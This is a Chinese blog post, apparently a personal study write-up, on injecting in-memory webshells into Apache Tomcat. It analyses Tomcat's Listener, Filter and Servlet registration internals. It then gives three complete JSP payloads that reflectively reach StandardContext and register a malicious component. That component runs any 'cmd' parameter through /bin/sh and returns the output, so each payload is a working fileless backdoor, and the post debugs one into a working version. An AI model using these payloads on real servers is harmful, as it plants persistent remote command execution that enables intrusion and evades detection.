背景知识-生命周期
Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。
加载顺序
web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,即listener的优先级为三者中最高的。
listener型
请求网站的时候,程序先自动执行listener监听器的内容,再去执行filter过滤器,如果存在多个过滤器则会组成过滤链,最后一个过滤器将会去执行Servlet的service方法。
Listener -> Filter -> Servlet
Listener是最先被加载的,所以可以利用动态注册恶意的Listener达到内存马。
Listener分类
- ServletContext监听,服务器启动和终止时触发
- Session监听,Session建立摧毁时触发
- Request监听,每次访问服务时触发
从上面分类来看,如果能动态添加Listener那Request监听最适合植入内存马。
源码分析
addListener方法
public <T extends EventListener> void addListener(T t) {// 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Listener。if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()}));} else {boolean match = false;if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {this.context.addApplicationEventListener(t);match = true;}public void addApplicationEventListener(Object listener) {this.applicationEventListenersList.add(listener);}
ApplicationContext的addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。
在addListener中真正去添加Listener的是this.context.addApplicationEventListener方法,这里的context的值是StandardContext,也就是说真正用于添加Listener的方法在StandardContext的方法中。
由于addListener方法会判断web应用状态,不能直接调用来添加Listener。
(注:也看到有师傅通过修改context的state为LifecycleState.STARTING_PREP来通过判断,最后修改回来,但个人比较担心这个操作容易产生副作用,因此不采用。)
因此需要通过反射获取StandardContext对象并调用addApplicationEventListener(listener)方法来添加Listener。
而StandardContext对象可以通过request的getServletContext()方法获取。
request内置对象
request内置对象是由Tomcat创建的,可以用来封装HTTP请求参数信息、进行属性值的传递以及完成服务端跳转,这就是request对象最重要的三个功能了。
一旦http请求报文发送到Tomcat中, Tomcat对数据进行解析,就会立即创建request对象,并对参数赋值,然后将其传递给对应的jsp/servlet 。一旦请求结束,request对象就会立即被销毁。服务端跳转,因为仍然是同一次请求,所以这些页面会共享一个request对象。
实现
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %><%@ page import="java.io.IOException" %><%@ page import="javax.servlet.annotation.WebServlet" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.io.BufferedReader" %><%// 获取standardContext对象Object obj = request.getServletContext();Field field = obj.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(obj);field = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);StandardContext standardContext = (StandardContext) field.get(applicationContext);// 创建listenerListenH listenH = new ListenH(request, response);// 添加listenerstandardContext.addApplicationEventListener(listenH);out.print("Add successfully.");%><%!public class ListenH implements ServletRequestListener {public ServletResponse response;public ServletRequest request;ListenH(ServletRequest request, ServletResponse response) {this.request = request;this.response = response;}public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}public void requestInitialized(ServletRequestEvent servletRequestEvent) {String cmder = request.getParameter("cmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {//执行结果加上回车sb.append(line).append("<br>");}String result = sb.toString();this.response.getWriter().write(result);}catch (Exception e){System.out.println("error ");}}}%>
每次访问该jsp页面的时候都会重复添加Listener,导致重复执行。所以访问一次添加成功后最好不要再访问。
添加成功后访问任意存在的页面?cmd=要执行的命令即可。
filter型
原理
Filter的作用,当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet,如果有多个Filter则会组成一个Filter链,最后一个Filter再去执行Servlet。
相关类
Filter 过滤器接口
FilterChain 过滤器链
FilterConfig 过滤器的配置
FilterDef 过滤器的配置和描述
ApplicationFilterChain 调用过滤器链
ApplicationFilterConfig 获取过滤器
ApplicationFilterFactory 组装过滤器链
addFilter方法
前面提到在ApplicationContext中存在addListener方法,可以将恶意Listener加入到Listener数组中,从而实现内存马。在ApplicationContext中也存在addFilter方法。
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {if (filterName != null && !filterName.equals("")) {// 首先判断web应用是不是已经初始化运行起来了, 如果是的话则不能在中途添加Filter。if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));} else {// 通过filterName查找filterDef,没有则添加filterDefFilterDef filterDef = this.context.findFilterDef(filterName);if (filterDef == null) {filterDef = new FilterDef();filterDef.setFilterName(filterName);this.context.addFilterDef(filterDef);} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {return null;}// 为filterDef添加关联的filter对象if (filter == null) {filterDef.setFilterClass(filterClass);} else {filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);}// 注册filterDefreturn new ApplicationFilterRegistration(filterDef, this.context);}
但以上整个过程只相当于进行了filterDef的创建和注册行为,并没有将filter添加到链中。
createFilterChain方法
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {..................// 获取到StandardContext的filterMapsStandardContext context = (StandardContext)wrapper.getParent();FilterMap[] filterMaps = context.findFilterMaps();// 获取FilterMaps,这个是在ContextConfig中组装的,内容是在web.xml中配置的filterif (filterMaps != null && filterMaps.length != 0) {DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");String requestPath = null;Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");if (attribute != null) {requestPath = attribute.toString();}String servletName = wrapper.getName();FilterMap[] arr$ = filterMaps;int len$ = filterMaps.length;int i$;FilterMap filterMap;ApplicationFilterConfig filterConfig;// 根据RequestURI匹配FilterMaps中的过滤项,添加到filterChain中for(i$ = 0; i$ < len$; ++i$) {filterMap = arr$[i$];// matchDispatcher - 过滤器支持的类型,包括 FORWARD、INCLUDE、REQUEST、ASYNC、ERROR// matchFiltersURL - filterMap里filter设置的过滤url地址是否和前端请求匹配if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {// 通过FilterName在StandardContext中获取filterConfigfilterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig != null) {filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中}}}arr$ = filterMaps;len$ = filterMaps.length;// 根据StanderWrapper的Name来匹配FilterMaps中的过滤项,添加到filterChainfor(i$ = 0; i$ < len$; ++i$) {filterMap = arr$[i$];// matchFiltersServlet - 比较的是FilterMap的ServletName与StanderWrapper的Nameif (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {// 通过FilterName在StandardContext中获取filterConfigfilterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig != null) {filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中}}}return filterChain;} else {return filterChain;}}}
最终目的:filterChain.addFilter(filterConfig);// 添加过滤器到过滤器链中
流程:
- 由filterMap获取filterName
- 通过FilterName在StandardContext中获取filterConfig
- 将获取到的filterConfig添加到filterChain中
FilterMaps
FilterMaps对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序。
FilterConfig
filterConfig在filterConfigs中。
filterConfigs是一个HashMap,存放了filter名和ApplicationFilterConfig的键值对。
ApplicationFilterConfig中存放了filterDef。
实现
要实现filter型内存马要经过如下步骤:
- 创建恶意filter类并用filterDef对其进行封装
- 将filterDef添加到filterDefs中
- 创建filterConfig并添加到filterConfigs中(filterConfig需要filterName与ApplicationFilterConfig的映射)
- 创建filterMap并添加到filterMaps中(filterMap需要url与filterName的映射)
- 利用StandardContext的addFilterMapBefore方法将filterMap添加到首位
- StandardContext会一直保留到Tomcat生命周期结束,所以内存马可以一直驻留下去,直到Tomcat重启。
测试环境:apache-tomcat-7.0.109
<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.deploy.FilterDef" %><%@ page import="org.apache.catalina.deploy.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%// 为了获取standardContextObject obj = request.getServletContext();Field field = obj.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(obj);field = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);StandardContext standardContext = (StandardContext) field.get(applicationContext);// 创建filterDef添加到standardContext中FilterDef filterDef = new FilterDef();filterDef.setFilterName("testF");standardContext.addFilterDef(filterDef); // 在context中添加filterMap时会去找一下是否存在对应的filterdefFilter filter = new testF();filterDef.setFilter(filter); // 将我们创建的filter与filterdef相关联起来// 将filterDef添加到filterConfigs中field = standardContext.getClass().getDeclaredField("filterConfigs");field.setAccessible(true);HashMap hashMap = (HashMap) field.get(standardContext);Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);hashMap.put("testF",constructor.newInstance(standardContext,filterDef));// 创建filterMap以添加url与filter的映射,并置于最高优先级FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("testF");standardContext.addFilterMapBefore(filterMap);System.out.println("filter ok !");%><%!public class testF implements Filter {public void destroy() {}public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {String cmder = req.getParameter("cmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {//执行结果加上回车sb.append(line).append("<br>");}String result = sb.toString();resp.getWriter().write(result);}catch (Exception e){System.out.println("error ");}chain.doFilter(req,resp);}public void init(FilterConfig config) throws ServletException {}}%>
servlet型
原理
参考文章[2]的分析方式如下:
查看添加一个servlet后StandardContext的变化。
<servlet><servlet-name>servletDemo</servlet-name><servlet-class>com.yzddmr6.servletDemo</servlet-class></servlet><servlet-mapping><servlet-name>servletDemo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>
servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装。
类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系。
个人在对应版本环境下跟进调试:
注册的Servlet都会出现在children中,其中后两个是个人通过注解注册的。
现在问题是:1.如何新建Wrapper 2.然后用Wapper封装Servlet
通过Google知晓:
ContextConfig监听器响应配置开始事件时会解析web.xml,进而将每个servlet定义都包装成Wrapper,这是由Context组件的createWrapper方法实现的。 REF:Tomcat启动分析(十一) - Wrapper组件
在tomcat源码搜索createWapper方法时发现它自己添加wapper的一个逻辑可供参考。
但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:
抄作业,请。
然后就是问题3:如何添加ServletMapping将访问的URL和Servlet进行绑定

也是有作业直接可抄的。
实现
主要步骤如下:
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
测试环境:apache-tomcat-7.0.109
最终代码1✖️
<%@ page import="javax.servlet.*" %><%@ page import="javax.servlet.http.*" %><%@ page import="javax.servlet.annotation.*" %><%@ page import="java.io.IOException" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>servlet shell</title></head><body></body></html><%// 为了获取standardContextObject obj = request.getServletContext();Field field = obj.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(obj);field = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);StandardContext standardContext = (StandardContext) field.get(applicationContext);// 1. 创建恶意ServletShellServlet shellServlet = new ShellServlet();// 2. 用Wrapper对其进行封装Wrapper sw = standardContext.createWrapper();sw.setServletClass(shellServlet.getClass().getName());sw.setName("ShellServlet");// 3. 添加封装后的恶意Wrapper到StandardContext的children当中standardContext.addChild(sw);// 4. 添加ServletMapping将访问的URL和Servlet进行绑定standardContext.addServletMapping("/ShellServlet", sw.getName());// ENDout.println("动态注入servlet成功");%><%!public class ShellServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) {String cmder = request.getParameter("servletcmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {//执行结果加上回车sb.append(line).append("\n");}String result = sb.toString();response.getWriter().write(result);} catch (Exception e) {System.out.println("error ");}}}%><%--class ShellServlet implements Servlet{@Overridepublic void init(ServletConfig config) throws ServletException {}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {} public ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {HttpServletRequest request1 = (HttpServletRequest) req;HttpServletResponse response1 = (HttpServletResponse) res;if (request1.getParameter("cmd") != null){// Runtime.getRuntime().exec(request1.getParameter("cmd"));String cmder = req.getParameter("cmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {//执行结果加上回车sb.append(line).append("\n");}String result = sb.toString();response1.getWriter().write(result);}catch (Exception e){System.out.println("error ");}}else{response1.sendError(HttpServletResponse.SC_NOT_FOUND);}}}--%>
下面注释代码块也是可用的。
✈️心情激动,IDEA启动,注入成功!访问servlet报错!😭

不可用?什么不可用?我为什么看不懂🙉
调试半天也没找出原因,最后还是比对别的师傅的servlet-shell代码发现的问题:缺失setServlet操作。
即关联了name关联了class没有关联本体。
但是没想通别人怎么发现的,于是继续会源代码查找setServlet附近的逻辑。
上门红色框内的代码是否有些熟悉。就是作者前面嘲讽的地方:
但是明显缺失了对servlet本体class的关联。不要慌张,再看看别的:
抄作业要认真。
最终代码2✔️
<%@ page import="javax.servlet.*" %><%@ page import="javax.servlet.http.*" %><%@ page import="javax.servlet.annotation.*" %><%@ page import="java.io.IOException" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>servlet shell</title></head><body></body></html><%// 为了获取standardContextObject obj = request.getServletContext();Field field = obj.getClass().getDeclaredField("context");field.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) field.get(obj);field = applicationContext.getClass().getDeclaredField("context");field.setAccessible(true);StandardContext standardContext = (StandardContext) field.get(applicationContext);// 1. 创建恶意ServletShellServlet shellServlet = new ShellServlet();// 2. 用Wrapper对其进行封装Wrapper sw = standardContext.createWrapper();sw.setServletClass(shellServlet.getClass().getName());sw.setServlet(shellServlet);sw.setName("ShellServlet");// 3. 添加封装后的恶意Wrapper到StandardContext的children当中standardContext.addChild(sw);// 4. 添加ServletMapping将访问的URL和Servlet进行绑定standardContext.addServletMapping("/ShellServlet", sw.getName());// ENDout.println("动态注入servlet成功");%><%!public class ShellServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) {String cmder = request.getParameter("servletcmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {//执行结果加上回车sb.append(line).append("\n");}String result = sb.toString();response.getWriter().write(result);} catch (Exception e) {System.out.println("error ");}}}%>
⚠️获取standardContext部分代码一直都是抄的某个师傅的,感觉有简化的可能?
参考
[1].查杀Java web filter型内存马
[2].JSP Webshell那些事——攻击篇(下)
[3].bitterzzZZ / MemoryShellLearn / jsp注入内存马 / addservlet.jsp
[4].Tomcat内存马(一) 初探
